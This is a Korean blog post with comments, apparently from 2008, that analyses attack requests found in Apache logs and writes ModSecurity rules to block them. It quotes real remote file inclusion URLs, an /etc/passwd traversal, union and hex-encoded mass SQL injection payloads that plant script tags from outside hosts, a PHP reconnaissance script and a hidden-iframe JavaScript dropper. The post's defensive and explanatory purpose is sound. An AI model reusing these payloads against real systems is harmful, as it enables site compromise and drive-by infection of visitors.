전에 포스팅했던 최근 웹사이트 공격 유형 의 공격 유형 외에 특이한 공격 방식(?) 몇가지가 apache log에 기록되어
modsecurity(2.5.x)를 이용한 차단 룰을 적어보도록 하겠습니다.

GET /weblog/%20http:// filtered.ru/images? HTTP/1.0
위의 경우 space를 url-encode해 기존의 방화벽등의 필터링을 우회해 보려는 시도로 보입니다.
modsecurity에서는 아래룰로 공격을 차단할수 있습니다.

SecRule REQUEST_URI "/ (htt|ft)p://"
 "log,auditlog,phase:2,deny,msg:'url- encode',t:urlDecodeUni" 

그리고 다음 user-agent(이하 UA)는 막아주는것이 좋겠습니다.
libwww, cr4nk.ws, winnie poh, user-agent(user-agent필드에 user-agent가 있는 녀석들도 있습니다.
스팸봇등이 아닌 정상적인 UA라면 제작자가 대충 만들었다고 밖에 생각이 안되는군요. emoticon)

아래는 제가 적용중인 비정상적인 UA차단 룰입니다. 그대로 적용을 하게 되면 drop 룰에 의해 해당UA는 접속시
FIN 패킷으로 인해 즉시 connection close상태가됩니다. 충분한 테스트를 한뒤 적용하기시 바랍니다.

#UA필드에 "가 포함된 UA
SecRule REQUEST_HEADERS:User-Agent """
        "log,phase:1,auditlog,drop,msg:'MZ5'"

#UA필드에 user-agent가 있는 녀석
SecRule REQUEST_HEADERS:User-Agent "^user-agent"
         "log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"

#java, windows 95, hmsbot(스팸봇으로 의심됨)
SecRule REQUEST_HEADERS:User-Agent "^java|windows 95|hmsbot"
         "log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"

#주로 외국에서 사용되는 스팸봇으로 의심됨
SecRule REQUEST_HEADERS:User-Agent "b5.1;1813)$"
         "log,auditlog,drop,msg:'UA',severity:'2'"

#역시 의심되는 UA
SecRule REQUEST_HEADERS:User-Agent "bwindows xp)$"
         "log,auditlog,drop,msg:'XP',severity:'2'"

#mozilla/4또는 5로 끝나는 UA - 정상적이지 않음, 스팸봇 또는 스팸 스파이더로 의심,또는 대충 만든 프로그램일수도 있습니다.emoticon
SecRule REQUEST_HEADERS:User-Agent "mozilla/(4|5).0$"
        "log,auditlog,drop,msg:'mozilla4/5'"

#IE7 beta라고 하는데 역시 정상적이지 않은것으로 보임
SecRule REQUEST_HEADERS:User-Agent "^mozilla/4.0 (compatible; MSIE 7.0b;"
        "log,auditlog,drop,msg:'new spider2'"

#coppermine gallery를 공격하던 UA
SecRule REQUEST_HEADERS:User-Agent "winnie poh"
        "log,auditlog,phase:1,drop,msg:'UA2',,id:'990902',severity:'2'"




아래 로그는 최근(?)에 새로 접근을 시도하는 녀석들이 남긴 로그입니다.

GET /weblog/*.php?dir=http:// www.filtered.com/readme.txt??
GET /@bothttp:// www.filtered.be/calendar/nid.txt
GET /weblog//skin/zero_vote/error.php?dir=http ://xxxxxx.xxxxx.xxx.gif?
#이경우는 bot제작자들이 이것저것 테스트 해보고 있는것 같습니다. 조금씩 다른 시도들이 기록이 되는군요.

GET /weblog/!scanhttp:// filtered.net/kngid.txt? HTTP/1.1

GET /weblog/index.php?redir=http:// www.filtered.com/adpics/test.txt?

GET /weblog/blog//skin/zero_vote/ask_password.php?dir=uid=10042(susanita)%20gid=
2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?

GET /skin/zero_vote/error.php?dir=uid=48(apache)%20gid=48(apache)%20groups=48(apache),2522(psaserv)%0A?

GET /weblog//includes/mailaccess/pop3.php?CONFIG[pear_dir]=uid=10042(susanita)%20gid=2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?

GET /weblog//includes/mailaccess/pop3.php?CONFIG[pear_dir]=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1

GET /weblog//index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdep
asse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--
http:// www.filtered.org/redfox/id.txt???

GET /weblog/blog/page/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemi
d%5d=1&GLOBALS=&mosConfig_absolute_path=http:// www.filtered.net/images/response1???

GET /weblog//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http:// filtered.info/oye.txt??

GET //Contenido_4.8.4/contenido/backend_search.php?contenido_path=http:// filtered.net/sdsdf.gif?????

GET /weblog/hioxBannerRotate.php?hm=http:// filtered.net/poll/me.txt???


아래 php소스는 remote include에 쓰인 이미지 확장자로 된 php파일입니다. 거의 대부분 비슷한 소스에 소속 그룹(?)만
바꿔 돌리는군요. emoticon
 <?
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS ...<br>";
exit;
?>


  1. Favicon of http://free4u.dnip.net/ BlogIcon EcusE 2008.08.06 22:34

    오늘 새로 선보인(?) SQL Injection 공격 로그입니다.ip: 201.33.10.105 user-agent: Mozilla/4.0 (compatible; MSIE 7.0; WindowsNT 5.1)지역은 브라질 상파울로 라고하네요.GET /weblog/1545?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F64756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F64756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1

  2. EcusE 2008.11.03 15:40

    새로운 sql injection시도가 로그에 남았습니다. 아래 순서대로 접근을 시도 하더군요.GET /'%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bChAr(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])&gt;0%20AnD%20''=' HTTP/1.0GET /'%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bChAr(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])&gt;0%20And%20'%25'=' HTTP/1.0GET /;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20wHiLe(@@fEtCh_status=0)%20bEgIn%20eXeC('uPdAtE%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rTrIm(cOnVeRt(vArChAr(4000),['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F732E6172646F7368616E676861692E636F6D2F732E6A733E3C2F7363726970743E%20aS%20vArChAr(53))')%20fEtCh%20next%20FrOm%20tAbLe_CuRsoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- HTTP/1.0 아래 설정은&nbsp; 대충만든(?) modsecurity rule입니다. 적용하실때엔 반드시 기타 웹 프로그램이 걸리는것이없나 테스트 해본후 적용하시기 바랍니다.SecRule REQUEST_URI "[.^/]*(.*) and (select char" "auditlog,phase:1,drop,msg:'sql injection',t:urlDecodeUni"

  3. Favicon of http://free4u.dnip.net/ BlogIcon EcusE 2008.12.18 16:01

    위의 sql injection 로그를 보면 urlencode + hex 로 그냥보면 뭔지 알기 쉽지 않습니다.8월이후로 시도되는 공격을 mass sql injection이라고 하더군요.아래로그를 디코딩해봤습니다.;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F73312E6361776A622E636F6D2F732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--붉은색 -&gt; urldecode dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT&nbsp;aS VaRcHaR(4000));eXeC(@s);--파란색 -&gt; hex to asciiDECLARE @T VARCHAR(255 ,@C VARCHAR(255) DECLARE Table_Cursor CORSOR
    FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' AND (b.xtype=99 OR b.xtype
    35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM
    Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE
    ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;script
    src=http ://filtered.com/s.js&gt;&lt;/script&gt;''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursorhex decode해보니 특정사이트의 자바 스크립트를 삽입하는 코드가 보이는군요.스크립트의 소스를 받아보려했으나 이미 isp에서 차단(?)한것으로 보입니다..그래서 로그에 남은 다른 공격 시도를 찾아 받을수 있는 js를 받아봤습니다.window.status="";var cookieString = document.cookie;var start = cookieString.indexOf("aumeee=";);if (start != -1){}else{ var expires = new Date(); expires.setTime(expires.getTime()+1*3600*1000); document.cookie = "aumeee=update;expires="+expires.toGMTString(); document.write("&lt;iframe src=http:// filtered.co.kr/080128/index.htm width=200 height=0&gt;&lt;/iframe&gt;";); document.write("&lt;iframe src=http:// s.filtered.net/b1.htm width=200 height=0&gt;&lt;/iframe&gt;";);}쿠키값과 또다른 iframe으로 숨긴 페이지를 또 여는군요. 사이트 주소는 악용될 소지가 있어 필터링(?)했습니다;;url, hex decode는 아래 사이트를 이용하시면 됩니다. http://www.yellowpipe.com/yis/tools/encrypter/index.phpmodsecurity를 이용한 차단룰은 아래 설정을 참고하세요.실제 적용하기전 테스트는 필수 입니다.!!!SecRule REQUEST_URI "[.^/]*(.*)declare @s varchar((.*)) set @s=cast" "auditlog,phase:2,drop,msg:'mass sql injection',t:urlDecodeUni"

+ Recent posts